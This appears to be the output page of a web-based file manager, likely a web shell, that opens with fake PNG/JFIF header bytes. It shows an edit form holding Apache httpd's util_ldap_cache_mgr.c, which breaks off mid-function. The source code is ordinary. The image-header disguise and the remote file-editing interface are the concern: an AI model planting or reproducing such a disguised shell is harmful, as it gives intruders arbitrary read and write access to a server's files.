�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2F'>httpd-2.4.63</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Fmodules%2F'>modules</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Fmodules%2Fldap%2F'>ldap</a>/</p><hr><h3>✏️ Editing: util_ldap_cache_mgr.c</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/* Licensed to the Apache Software Foundation (ASF) under one or more
 * contributor license agreements.  See the NOTICE file distributed with
 * this work for additional information regarding copyright ownership.
 * The ASF licenses this file to You under the Apache License, Version 2.0
 * (the &quot;License&quot;); you may not use this file except in compliance with
 * the License.  You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an &quot;AS IS&quot; BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/*
 * util_ldap_cache_mgr.c: LDAP cache manager things
 *
 * Original code from auth_ldap module for Apache v1.3:
 * Copyright 1998, 1999 Enbridge Pipelines Inc.
 * Copyright 1999-2001 Dave Carrigan
 */

#include &quot;httpd.h&quot;
#include &quot;util_ldap.h&quot;
#include &quot;util_ldap_cache.h&quot;
#include &lt;apr_strings.h&gt;

APLOG_USE_MODULE(ldap);

#if APR_HAS_LDAP

/* only here until strdup is gone */
#include &lt;string.h&gt;

/* here till malloc is gone */
#include &lt;stdlib.h&gt;

static const unsigned long primes[] =
{
  11,
  19,
  37,
  73,
  109,
  163,
  251,
  367,
  557,
  823,
  1237,
  1861,
  2777,
  4177,
  6247,
  9371,
  14057,
  21089,
  31627,
  47431,
  71143,
  106721,
  160073,
  240101,
  360163,
  540217,
  810343,
  1215497,
  1823231,
  2734867,
  4102283,
  6153409,
  9230113,
  13845163,
  0
};

void util_ald_free(util_ald_cache_t *cache, const void *ptr)
{
#if APR_HAS_SHARED_MEMORY
    if (cache-&gt;rmm_addr) {
        if (ptr)
            /* Free in shared memory */
            apr_rmm_free(cache-&gt;rmm_addr, apr_rmm_offset_get(cache-&gt;rmm_addr, (void *)ptr));
    }
    else {
        if (ptr)
            /* Cache shm is not used */
            free((void *)ptr);
    }
#else
    if (ptr)
        free((void *)ptr);
#endif
}

void *util_ald_alloc(util_ald_cache_t *cache, unsigned long size)
{
    if (0 == size)
        return NULL;
#if APR_HAS_SHARED_MEMORY
    if (cache-&gt;rmm_addr) {
        /* allocate from shared memory */
        apr_rmm_off_t block = apr_rmm_calloc(cache-&gt;rmm_addr, size);
        return block ? (void *)apr_rmm_addr_get(cache-&gt;rmm_addr, block) : NULL;
    }
    else {
        /* Cache shm is not used */
        return (void *)calloc(sizeof(char), size);
    }
#else
    return (void *)calloc(sizeof(char), size);
#endif
}

const char *util_ald_strdup(util_ald_cache_t *cache, const char *s)
{
#if APR_HAS_SHARED_MEMORY
    if (cache-&gt;rmm_addr) {
        /* allocate from shared memory */
        apr_rmm_off_t block = apr_rmm_calloc(cache-&gt;rmm_addr, strlen(s)+1);
        char *buf = block ? (char *)apr_rmm_addr_get(cache-&gt;rmm_addr, block) : NULL;
        if (buf) {
            strcpy(buf, s);
            return buf;
        }
        else {
            return NULL;
        }
    }
    else {
        /* Cache shm is not used */
        return strdup(s);
    }
#else
    return strdup(s);
#endif
}

/*
 * Duplicate a subgroupList from one compare entry to another.
 * Returns: ptr to a new copy of the subgroupList or NULL if allocation failed.
 */
util_compare_subgroup_t *util_ald_sgl_dup(util_ald_cache_t *cache, util_compare_subgroup_t *sgl_in)
{
    int i = 0;
    util_compare_subgroup_t *sgl_out = NULL;

    if (!sgl_in) {
        return NULL;
    }

    sgl_out = (util_compare_subgroup_t *) util_ald_alloc(cache, sizeof(util_compare_subgroup_t));
    if (sgl_out) {
        sgl_out-&gt;subgroupDNs = util_ald_alloc(cache, sizeof(char *) * sgl_in-&gt;len);
        if (sgl_out-&gt;subgroupDNs) {
            for (i = 0; i &lt; sgl_in-&gt;len; i++) {
                sgl_out-&gt;subgroupDNs[i] = util_ald_strdup(cache, sgl_in-&gt;subgroupDNs[i]);
                if (!sgl_out-&gt;subgroupDNs[i]) {
                    /* We ran out of SHM, delete the strings we allocated for the SGL */
                    for (i = (i - 1); i &gt;= 0; i--) {
                            util_ald_free(cache, sgl_out-&gt;subgroupDNs[i]);
                    }
                    util_ald_free(cache, sgl_out-&gt;subgroupDNs);
                    util_ald_free(cache, sgl_out);
                    sgl_out =  NULL;
                    break;
                }
            }
            /* We were able to allocate new strings for all the subgroups */
            if (sgl_out != NULL) {
                sgl_out-&gt;len = sgl_in-&gt;len;
            }
        }
    }

    return sgl_out;
}

/*
 * Delete an entire subgroupList.
 */
void util_ald_sgl_free(util_ald_cache_t *cache, util_compare_subgroup_t **sgl)
{
    int i = 0;
    if (sgl == NULL || *sgl == NULL) {
        return;
    }

    for (i = 0; i &lt; (*sgl)-&gt;len; i++) {
        util_ald_free(cache, (*sgl)-&gt;subgroupDNs[i]);
    }
    util_ald_free(cache, *sgl);
}

/*
 * Computes the hash on a set of strings. The first argument is the number
 * of strings to hash, the rest of the args are strings.
 * Algorithm taken from glibc.
 */
unsigned long util_ald_hash_string(int nstr, ...)
{
    int i;
    va_list args;
    unsigned long h=0, g;
    char *str, *p;

    va_start(args, nstr);
    for (i=0; i &lt; nstr; ++i) {
        str = va_arg(args, char *);
        for (p = str; *p; ++p) {
            h = ( h &lt;&lt; 4 ) + *p;
            if ( ( g = h &amp; 0xf0000000 ) ) {
                h = h ^ (g &gt;&gt; 24);
                h = h ^ g;
            }
        }
    }
    va_end(args);

    return h;
}


/*
  Purges a cache that has gotten full. We keep track of the time that we
  added the entry that made the cache 3/4 full, then delete all entries
  that were added before that time. It&#039;s pretty simplistic, but time to
  purge is only O(n), which is more important.
*/
void util_ald_cache_purge(util_ald_cache_t *cache)
{
    unsigned long i;
    util_cache_node_t *p, *q, **pp;
    apr_time_t now;

    if (!cache)
        return;

    now = cache-&gt;last_purge = apr_time_now();
    cache-&gt;npurged = 0;
    cache-&gt;numpurges++;

    /* If the marktime is farther back than TTL from now, 
       move the marktime forward to include additional expired entries.
    */
    if (now - cache-&gt;ttl &gt; cache-&gt;marktime) {
        cache-&gt;marktime = now - cache-&gt;ttl;
    }

    for (i=0; i &lt; cache-&gt;size; ++i) {
        pp = cache-&gt;nodes + i;
        p = *pp;
        while (p != NULL) {
            if (p-&gt;add_time &lt; cache-&gt;marktime) {
                q = p-&gt;next;
                (*cache-&gt;free)(cache, p-&gt;payload);
                util_ald_free(cache, p);
                cache-&gt;numentries--;
                cache-&gt;npurged++;
                p = *pp = q;
            }
            else {
                pp = &amp;(p-&gt;next);
                p = *pp;
            }
        }
    }

    now = apr_time_now();
    cache-&gt;avg_purgetime =
         ((now - cache-&gt;last_purge) + (cache-&gt;avg_purgetime * (cache-&gt;numpurges-1))) /
         cache-&gt;numpurges;
}


/*
 * create caches
 */
util_url_node_t *util_ald_create_caches(util_ldap_state_t *st, const char *url)
{
    util_url_node_t curl;
    util_ald_cache_t *search_cache;
    util_ald_cache_t *compare_cache;
    util_ald_cache_t *dn_compare_cache;

    /* create the three caches */
    search_cache = util_ald_create_cache(st,
                      st-&gt;search_cache_size,
                      st-&gt;search_cache_ttl,
                      util_ldap_search_node_hash,
                      util_ldap_search_node_compare,
                      util_ldap_search_node_copy,
                      util_ldap_search_node_free,
                      util_ldap_search_node_display);
    compare_cache = util_ald_create_cache(st,
                      st-&gt;compare_cache_size,
                      st-&gt;compare_cache_ttl,
                      util_ldap_compare_node_hash,
                      util_ldap_compare_node_compare,
                      util_ldap_compare_node_copy,
                      util_ldap_compare_node_free,
                      util_ldap_compare_node_display);
    dn_compare_cache = util_ald_create_cache(st,
                      st-&gt;compare_cache_size,
                      st-&gt;compare_cache_ttl,
                      util_ldap_dn_compare_node_hash,
                      util_ldap_dn_compare_node_compare,
                      util_ldap_dn_compare_node_copy,
                      util_ldap_dn_compare_node_free,
                      util_ldap_dn_compare_node_display);

    /* check that all the caches initialised successfully */
    if (search_cache &amp;&amp; compare_cache &amp;&amp; dn_compare_cache) {
        /* The contents of this structure will be duplicated in shared
           memory during the insert.  So use stack memory rather than
           pool memory to avoid a memory leak. */
        memset (&amp;curl, 0, sizeof(util_url_node_t));
        curl.url = url;
        curl.search_cache = search_cache;
        curl.compare_cache = compare_cache;
        curl.dn_compare_cache = dn_compare_cache;

        return util_ald_cache_insert(st-&gt;util_ldap_cache, &amp;curl);
    }
    else {
        /* util_ald_destroy_cache is a noop for a NULL argument. */
        util_ald_destroy_cache(search_cache);
        util_ald_destroy_cache(compare_cache);
        util_ald_destroy_cache(dn_compare_cache);

        return NULL;
    }
}


util_ald_cache_t *util_ald_create_cache(util_ldap_state_t *st,
                                long cache_size,
                                long cache_ttl,
                                unsigned long (*hashfunc)(void *),
                                int (*comparefunc)(void *, void *),
                                void * (*copyfunc)(util_ald_cache_t *cache, void *),
                                void (*freefunc)(util_ald_cache_t *cache, void *),
                                void (*displayfunc)(request_rec *r, util_ald_cache_t *cache, void *))
{
    util_ald_cache_t *cache;
    unsigned long i;
#if APR_HAS_SHARED_MEMORY
    apr_rmm_off_t block;
#endif

    if (cache_size &lt;= 0)
        return NULL;

#if APR_HAS_SHARED_MEMORY
    if (!st-&gt;cache_rmm) {
        cache = (util_ald_cache_t *)calloc(sizeof(util_ald_cache_t), 1);
    }
    else {
        block = apr_rmm_calloc(st-&gt;cache_rmm, sizeof(util_ald_cache_t));
        cache = block ? (util_ald_cache_t *)apr_rmm_addr_get(st-&gt;cache_rmm, block) : NULL;
    }
#else
    cache = (util_ald_cache_t *)calloc(sizeof(util_ald_cache_t), 1);
#endif
    if (!cache)
        return NULL;

#if APR_HAS_SHARED_MEMORY
    cache-&gt;rmm_addr = st-&gt;cache_rmm;
    cache-&gt;shm_addr = st-&gt;cache_shm;
#endif
    cache-&gt;maxentries = cache_size;
    cache-&gt;numentries = 0;
    cache-&gt;size = cache_size / 3;
    if (cache-&gt;size &lt; 64)
        cache-&gt;size = 64;
    for (i = 0; primes[i] &amp;&amp; primes[i] &lt; cache-&gt;size; ++i)
        ;
    cache-&gt;size = primes[i] ? primes[i] : primes[i-1];

    cache-&gt;nodes = (util_cache_node_t **)util_ald_alloc(cache, cache-&gt;size * sizeof(util_cache_node_t *));
    if (!cache-&gt;nodes) {
        /* This frees cache in the right way even if !APR_HAS_SHARED_MEMORY or !st-&gt;cache_rmm */
        util_ald_free(cache, cache);
        return NULL;
    }

    for (i=0; i &lt; cache-&gt;size; ++i)
        cache-&gt;nodes[i] = NULL;

    cache-&gt;hash = hashfunc;
    cache-&gt;compare = comparefunc;
    cache-&gt;copy = copyfunc;
    cache-&gt;free = freefunc;
    cache-&gt;display = displayfunc;

    
    cache-&gt;fullmark = cache-&gt;maxentries / 4 * 3;
    cache-&gt;marktime = 0;
    cache-&gt;ttl = cache_ttl;
    cache-&gt;avg_purgetime = 0.0;
    cache-&gt;numpurges = 0;
    cache-&gt;last_purge = 0;
    cache-&gt;npurged = 0;

    cache-&gt;fetches = 0;
    cache-&gt;hits = 0;
    cache-&gt;inserts = 0;
    cache-&gt;removes = 0;

    return cache;
}

void util_ald_destroy_cache(util_ald_cache_t *cache)
{
    unsigned long i;
    util_cache_node_t *p, *q;

    if (cache == NULL)
        return;

    for (i = 0; i &lt; cache-&gt;size; ++i) {
        p = cache-&gt;nodes[i];
        q = NULL;
        while (p != NULL) {
            q = p-&gt;next;
           (*cache-&gt;free)(cache, p-&gt;payload);
           util_ald_free(cache, p);
           p = q;
        }
    }
    util_ald_free(cache, cache-&gt;nodes);
    util_ald_free(cache, cache);
}

void *util_ald_cache_fetch(util_ald_cache_t *cache, void *payload)
{
    unsigned long hashval;
    util_cache_node_t *p;

    if (cache == NULL)
        return NULL;

    cache-&gt;fetches++;

    hashval = (*cache-&gt;hash)(payload) % cache-&gt;size;

    for (p = cache-&gt;nodes[hashval];
         p &amp;&amp; !(*cache-&gt;compare)(p-&gt;payload, payload);
         p = p-&gt;next) ;

    if (p != NULL) {
        cache-&gt;hits++;
        return p-&gt;payload;
    }
    else {
        return NULL;
    }
}

/*
 * Insert an item into the cache.
 * *** Does not catch duplicates!!! ***
 */
void *util_ald_cache_insert(util_ald_cache_t *cache, void *payload)
{
    unsigned long hashval;
    void *tmp_payload;
    util_cache_node_t *node;

    /* sanity check */
    if (cache == NULL || payload == NULL) {
        return NULL;
    }

    /* check if we are full - if so, try purge */
    if (cache-&gt;numentries &gt;= cache-&gt;maxentries) {
        util_ald_cache_purge(cache);
        if (cache-&gt;numentries &gt;= cache-&gt;maxentries) {
            /* if the purge was not effective, we leave now to avoid an overflow */
            ap_log_error(APLOG_MARK, APLOG_ERR, 0, NULL, APLOGNO(01323)
                         &quot;Purge of LDAP cache failed&quot;);
            return NULL;
        }
    }

    node = (util_cache_node_t *)util_ald_alloc(cache,
                                               sizeof(util_cache_node_t));
    if (node == NULL) {
        /*
         * XXX: The cache management should be rewritten to work
         * properly when LDAPSharedCacheSize is too small.
         */
        ap_log_error(APLOG_MARK, APLOG_WARNING, 0, NULL, APLOGNO(01324)
                     &quot;LDAPSharedCacheSize is too small. Increase it or &quot;
                     &quot;reduce LDAPCacheEntries/LDAPOpCacheEntries!&quot;);
        if (cache-&gt;numentries &lt; cache-&gt;fullmark) {
            /*
             * We have not even reached fullmark, trigger a complete purge.
             * This is still better than not being able to add new entries
             * at all.
             */
            cache-&gt;marktime = apr_time_now();
        }
        util_ald_cache_purge(cache);
        node = (util_cache_node_t *)util_ald_alloc(cache,
                                                   sizeof(util_cache_node_t));
        if (node == NULL) {
            ap_log_error(APLOG_MARK, APLOG_ERR, 0, NULL, APLOGNO(01325)
                         &quot;Could not allocate memory for LDAP cache entry&quot;);
            return NULL;
        }
    }

    /* Take a copy of the payload before proceeding. */
    tmp_payload = (*cache-&gt;copy)(cache, payload);
    if (tmp_payload == NULL) {
        /*
         * XXX: The cache management should be rewritten to work
         * properly when LDAPSharedCacheSize is too small.
         */
        ap_log_error(APLOG_MARK, APLOG_WARNING, 0, NULL, APLOGNO(01326)
                     &quot;LDAPSharedCacheSize is too small. Increase it or &quot;
                     &quot;reduce LDAPCacheEntries/LDAPOpCacheEntries!&quot;);
        if (cache-&gt;numentries &lt; cache-&gt;fullmark) {
            /*
             * We have not even reached fullmark, trigger a complete purge.
             * This is still better than not being able to add new entries
             * at all.
             */
            cache-&gt;marktime = apr_time_now();
        }
        util_ald_cache_purge(cache);
        tmp_payload = (*cache-&gt;copy)(cache, payload);
        if (tmp_payload == NULL) {
            ap_log_error(APLOG_MARK, APLOG_ERR, 0, NULL, APLOGNO(01327)
                         &quot;Could not allocate memory for LDAP cache value&quot;);
            util_ald_free(cache, node);
            return NULL;
        }
    }
    payload = tmp_payload;

    /* populate the entry */
    cache-&gt;inserts++;
    hashval = (*cache-&gt;hash)(payload) % cache-&gt;size;
    node-&gt;add_time = apr_time_now();
    node-&gt;payload = payload;
    node-&gt;next = cache-&gt;nodes[hashval];
    cache-&gt;nodes[hashval] = node;

    /* if we reach the full mark, note the time we did so
     * for the benefit of the purge function
     */
    if (++cache-&gt;numentries == cache-&gt;fullmark) {
        cache-&gt;marktime=apr_time_now();
    }

    return node-&gt;payload;
}

void util_ald_cache_remove(util_ald_cache_t *cache, void *payload)
{
    unsigned long hashval;
    util_cache_node_t *p, *q;

    if (cache == NULL)
        return;

    cache-&gt;removes++;
    hashval = (*cache-&gt;hash)(payload) % cache-&gt;size;
    for (p = cache-&gt;nodes[hashval], q=NULL;
         p &amp;&amp; !(*cache-&gt;compare)(p-&gt;payload, payload);
         p = p-&gt;next) {
         q = p;
    }

    /* If p is null, it means that we couldn&#039;t find the node, so just return */
    if (p == NULL)
        return;

    if (q == NULL) {
        /* We found the node, and it&#039;s the first in the list */
        cache-&gt;nodes[hashval] = p-&gt;next;
    }
    else {
        /* We found the node and it&#039;s not the first in the list */
        q-&gt;next = p-&gt;next;
    }
    (*cache-&gt;free)(cache, p-&gt;payload);
    util_ald_free(cache, p);
    cache-&gt;numentries--;
}

char *util_ald_cache_display_stats(request_rec *r, util_ald_cache_t *cache, char *name, char *id)
{
    unsigned long i;
    int totchainlen = 0;
    int nchains = 0;
    double chainlen;
    util_cache_node_t *n;
    char *buf, *buf2;
    apr_pool_t *p = r-&gt;pool;

    if (cache == NULL) {
        return &quot;&quot;;
    }

    for (i=0; i &lt; cache-&gt;size; ++i) {
        if (cache-&gt;nodes[i] != NULL) {
            nchains++;
            for (n = cache-&gt;nodes[i];
                 n != NULL &amp;&amp; n != n-&gt;next;
                 n = n-&gt;next) {
                totchainlen++;
            }
        }
    }
    chainlen = nchains? (double)totchainlen / (double)nchains : 0;

    if (id) {
        buf2 = apr_psprintf(p,
                 &quot;&lt;a href=\&quot;%s?%s\&quot;&gt;%s&lt;/a&gt;&quot;,
             ap_escape_html(r-&gt;pool, ap_escape_uri(r-&gt;pool, r-&gt;uri)),
             id,
             name);
    }
    else {
        buf2 = name;
    }

    buf = apr_psprintf(p,
             &quot;&lt;tr valign=&#039;top&#039;&gt;&quot;
             &quot;&lt;td nowrap&gt;%s&lt;/td&gt;&quot;
             &quot;&lt;td align=&#039;right&#039; nowrap&gt;%lu (%.0f%% full)&lt;/td&gt;&quot;
             &quot;&lt;td align=&#039;right&#039;&gt;%.1f&lt;/td&gt;&quot;
             &quot;&lt;td align=&#039;right&#039;&gt;%lu/%lu&lt;/td&gt;&quot;
             &quot;&lt;td align=&#039;right&#039;&gt;%.0f%%&lt;/td&gt;&quot;
             &quot;&lt;td align=&#039;right&#039;&gt;%lu/%lu&lt;/td&gt;&quot;,
         buf2,
         cache-&gt;numentries,
         (double)cache-&gt;numentries / (double)cache-&gt;maxentries * 100.0,
         chainlen,
         cache-&gt;hits,
         cache-&gt;fetches,
         (cache-&gt;fetches &gt; 0 ? (double)(cache-&gt;hits) / (double)(cache-&gt;fetches) * 100.0 : 100.0),
         cache-&gt;inserts,
         cache-&gt;removes);

    if (cache-&gt;numpurges) {
        char str_ctime[APR_CTIME_LEN];

        apr_ctime(str_ctime, cache-&gt;last_purge);
        buf = apr_psprintf(p,
                 &quot;%s&quot;
                 &quot;&lt;td align=&#039;right&#039;&gt;%lu&lt;/td&gt;\n&quot;
                 &quot;&lt;td align=&#039;right&#039; nowrap&gt;%s&lt;/td&gt;\n&quot;,
             buf,
             cache-&gt;numpurges,
             str_ctime);
    }
    else {
        buf = apr_psprintf(p,
                 &quot;%s&lt;td colspan=&#039;2&#039; align=&#039;center&#039;&gt;(none)&lt;/td&gt;\n&quot;,
             buf);
    }

    buf = apr_psprintf(p, &quot;%s&lt;td align=&#039;right&#039;&gt;%.2gms&lt;/td&gt;\n&lt;/tr&gt;&quot;, buf, cache-&gt;avg_purgetime);

    return buf;
}

char *util_ald_cache_display(request_rec *r, util_ldap_state_t *st)
{
    unsigned long i,j;
    char *buf, *t1, *t2, *t3;
    char *id1, *id2, *id3;
    char *argfmt = &quot;cache=%s&amp;id=%d&amp;off=%d&quot;;
    char *scanfmt = &quot;cache=%4s&amp;id=%u&amp;off=%u%1s&quot;;
    apr_pool_t *pool = r-&gt;pool;
    util_cache_node_t *p = NULL;
    util_url_node_t *n = NULL;

    util_ald_cache_t *util_ldap_cache = st-&gt;util_ldap_cache;


    if (!util_ldap_cache) {
        ap_rputs(&quot;&lt;tr valign=&#039;top&#039;&gt;&lt;td nowrap colspan=7&gt;Cache has not been enabled/initialised.&lt;/td&gt;&lt;/tr&gt;&quot;, r);
        return NULL;
    }

    if (r-&gt;args &amp;&amp; strlen(r-&gt;args)) {
        char cachetype[5], lint[2];
        unsigned int id, off;
        char date_str[APR_CTIME_LEN];

        if ((3 == sscanf(r-&gt;args, scanfmt, cachetype, &amp;id, &amp;off, lint)) &amp;&amp;
            (id &lt; util_ldap_cache-&gt;size)) {

            if ((p = util_ldap_cache-&gt;nodes[id]) != NULL) {
                n = (util_url_node_t *)p-&gt;payload;
                buf = (char*)n-&gt;url;
            }
            else {
                buf = &quot;&quot;;
            }

            ap_rprintf(r,
                       &quot;&lt;p&gt;\n&quot;
                       &quot;&lt;table border=&#039;0&#039;&gt;\n&quot;
                       &quot;&lt;tr&gt;\n&quot;
                       &quot;&lt;td bgcolor=&#039;#000000&#039;&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Cache Name:&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                       &quot;&lt;td bgcolor=&#039;#ffffff&#039;&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#000000&#039;&gt;&lt;b&gt;%s (%s)&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                       &quot;&lt;/tr&gt;\n&quot;
                       &quot;&lt;/table&gt;\n&lt;/p&gt;\n&quot;,
                       buf,
                       cachetype[0] == &#039;m&#039;? &quot;Main&quot; :
                       (cachetype[0] == &#039;s&#039; ? &quot;Search&quot; :
                        (cachetype[0] == &#039;c&#039; ? &quot;Compares&quot; : &quot;DNCompares&quot;)));

            switch (cachetype[0]) {
                case &#039;m&#039;:
                    if (util_ldap_cache-&gt;marktime) {
                        apr_ctime(date_str, util_ldap_cache-&gt;marktime);
                    }
                    else
                        date_str[0] = 0;

                    ap_rprintf(r,
                               &quot;&lt;p&gt;\n&quot;
                               &quot;&lt;table border=&#039;0&#039;&gt;\n&quot;
                               &quot;&lt;tr&gt;\n&quot;
                               &quot;&lt;td bgcolor=&#039;#000000&#039;&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Size:&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                               &quot;&lt;td bgcolor=&#039;#ffffff&#039;&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#000000&#039;&gt;&lt;b&gt;%ld&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                               &quot;&lt;/tr&gt;\n&quot;
                               &quot;&lt;tr&gt;\n&quot;
                               &quot;&lt;td bgcolor=&#039;#000000&#039;&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Max Entries:&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                               &quot;&lt;td bgcolor=&#039;#ffffff&#039;&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#000000&#039;&gt;&lt;b&gt;%ld&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                               &quot;&lt;/tr&gt;\n&quot;
                               &quot;&lt;tr&gt;\n&quot;
                               &quot;&lt;td bgcolor=&#039;#000000&#039;&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;# Entries:&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                               &quot;&lt;td bgcolor=&#039;#ffffff&#039;&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#000000&#039;&gt;&lt;b&gt;%ld&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                               &quot;&lt;/tr&gt;\n&quot;
                               &quot;&lt;tr&gt;\n&quot;
                               &quot;&lt;td bgcolor=&#039;#000000&#039;&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;TTL (sec):&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                               &quot;&lt;td bgcolor=&#039;#ffffff&#039;&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#000000&#039;&gt;&lt;b&gt;%&quot; APR_TIME_T_FMT &quot;&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                               &quot;&lt;/tr&gt;\n&quot;
                               &quot;&lt;tr&gt;\n&quot;
                               &quot;&lt;td bgcolor=&#039;#000000&#039;&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Full Mark:&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                               &quot;&lt;td bgcolor=&#039;#ffffff&#039;&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#000000&#039;&gt;&lt;b&gt;%ld&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                               &quot;&lt;/tr&gt;\n&quot;
                               &quot;&lt;tr&gt;\n&quot;
                               &quot;&lt;td bgcolor=&#039;#000000&#039;&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Full Mark Time:&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                               &quot;&lt;td bgcolor=&#039;#ffffff&#039;&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#000000&#039;&gt;&lt;b&gt;%s&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                               &quot;&lt;/tr&gt;\n&quot;
                               &quot;&lt;/table&gt;\n&lt;/p&gt;\n&quot;,
                               util_ldap_cache-&gt;size,
                               util_ldap_cache-&gt;maxentries,
                               util_ldap_cache-&gt;numentries,
                               apr_time_sec(util_ldap_cache-&gt;ttl),
                               util_ldap_cache-&gt;fullmark,
                               date_str);

                    ap_rputs(&quot;&lt;p&gt;\n&quot;
                             &quot;&lt;table border=&#039;0&#039;&gt;\n&quot;
                             &quot;&lt;tr bgcolor=&#039;#000000&#039;&gt;\n&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;LDAP URL&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Size&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Max Entries&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;# Entries&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;TTL (sec)&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Full Mark&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Full Mark Time&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;/tr&gt;\n&quot;, r
                            );
                    for (i=0; i &lt; util_ldap_cache-&gt;size; ++i) {
                        for (p = util_ldap_cache-&gt;nodes[i]; p != NULL; p = p-&gt;next) {

                            (*util_ldap_cache-&gt;display)(r, util_ldap_cache, p-&gt;payload);
                        }
                    }
                    ap_rputs(&quot;&lt;/table&gt;\n&lt;/p&gt;\n&quot;, r);


                    break;
                case &#039;s&#039;:
                    ap_rputs(&quot;&lt;p&gt;\n&quot;
                             &quot;&lt;table border=&#039;0&#039;&gt;\n&quot;
                             &quot;&lt;tr bgcolor=&#039;#000000&#039;&gt;\n&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;LDAP Filter&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;User Name&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;td&gt;&lt;font size=&#039;-1&#039; face=&#039;Arial,Helvetica&#039; color=&#039;#ffffff&#039;&gt;&lt;b&gt;Last Bind&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&quot;
                             &quot;&lt;/tr&gt;\n&quot;, r
                            );
                    if (n) {
                        for (i=0; i &lt; n-&gt;search_cache-&gt;size; ++i) {
                            for (p = n-&gt;search_cache-&gt;nodes[i]; p != NULL; p = p-&gt;next) {

